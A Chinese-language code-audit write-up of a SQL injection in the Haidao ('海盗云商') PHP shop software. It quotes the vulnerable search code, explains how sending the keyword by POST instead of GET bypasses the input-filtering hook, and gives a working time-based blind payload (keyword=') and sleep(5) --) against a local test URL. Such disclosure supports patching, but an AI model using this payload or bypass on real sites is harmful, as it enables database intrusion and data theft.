海盗云商 SQLinjection

Report 代码审计

0x01:漏洞分析

文件search_control_class.php第十一行:

<?php
    public function search(){
        $title = '搜索 '.$_GET['keyword'].' 的结果';
        $SEO = seo($title);
        $result = $this->service->search($_GET);
        $this->load->librarys('View')->assign('SEO',$SEO)->assign('result',$result)->display('search_lists');
    }
?>

通过GET method获取参数keyword值并传递到search函数,跟进该函数:

<?php
    public function search($params){
        $keyword = remove_xss($params['keyword']);
        if(strlen($keyword) < 1 ) {
            showmessage(lang('_param_error_'));
        }
        $map = $sku_ids = array();
        $map['_string'] = "`sku_name` LIKE '%{$keyword}%'";
        $sku_ids = $this->sku_db->where($map)->getfield('sku_id',TRUE);
        $result['_goods_ids'] = $sku_ids ? implode(',',$sku_ids) : 0;
        list($_sort, $_by) = explode(',',$params['sort']);
        switch ($_sort) {
            case 'sale':
                $result['order'] = "`sales` desc";
            break;
            case 'hits':
                $result['order'] = "`hits` desc";
                break;
            case 'shop_price':
                $_by = ($_by == 'asc') ? 'desc' : 'asc';
                $result['order'] = "`shop_price` ".(($_by == 'asc') ? 'desc' : 'asc');
                break;
            default:
                $result['order'] = "`sales` desc,`favorites` desc,`hits` desc";
                break;
        }
        $result['_by'] = $_by ? $_by : 'desc';
        $result['sort'] = $_sort ? $_sort : 'comper';
        $result['show_switch'] = 1; 
        if(!$result){
            $this->error = $this->logic->error;
        }
        return $result;
    }
?>

传递进去的值没用框架设定的查询方式,不经过安全函数过滤,但通过GET Method传递的值如果带有单引号会导致查询错误,在hd_application.class.php第五十三行:

<?php
    private function _init_input() {
        if (isset($_GET['GLOBALS']) ||isset($_POST['GLOBALS']) ||  isset($_COOKIE['GLOBALS']) || isset($_FILES['GLOBALS'])) {
            error::system_error('_request_tainting_');
        }
        //加载钩子
        $this->_hook_register();
        $this->_xss_check();
        $_GET = input::get();
        $_POST = input::post();
        $_COOKIE = input::cookie();
        if(MAGIC_QUOTES_GPC) {
            $_GET = dstripslashes($_GET);
            $_POST = dstripslashes($_POST);
            $_COOKIE = dstripslashes($_COOKIE);
        }
        if(IS_POST && !empty($_POST)) {
            $_GET = array_merge($_GET, $_POST);
        }
        $_GET['page'] = max(1, intval($_GET['page']));
        define('IS_AJAX',((isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') || !empty($_POST[config('VAR_AJAX_SUBMIT')]) || !empty($_GET[config('VAR_AJAX_SUBMIT')])) ? true : false);
    }
?>

通过array_merge函数将GET,POST Method拼接一起后再以GET传递,但整个流程只在最初获取参数值时挂了HOOK,所以如果将本该GET传递参数的方式改为POST就能绕过安全检测。

     

0x02:漏洞验证

通过POST传递keyword值,并闭合单引号和右边括号,再通过sleep()判断语句是否正确执行,以下为测试Payload:

URL:   http://127.0.0.1/haidao/index.php?m=goods&c=search&a=search
POST:  keyword=') and sleep(5) --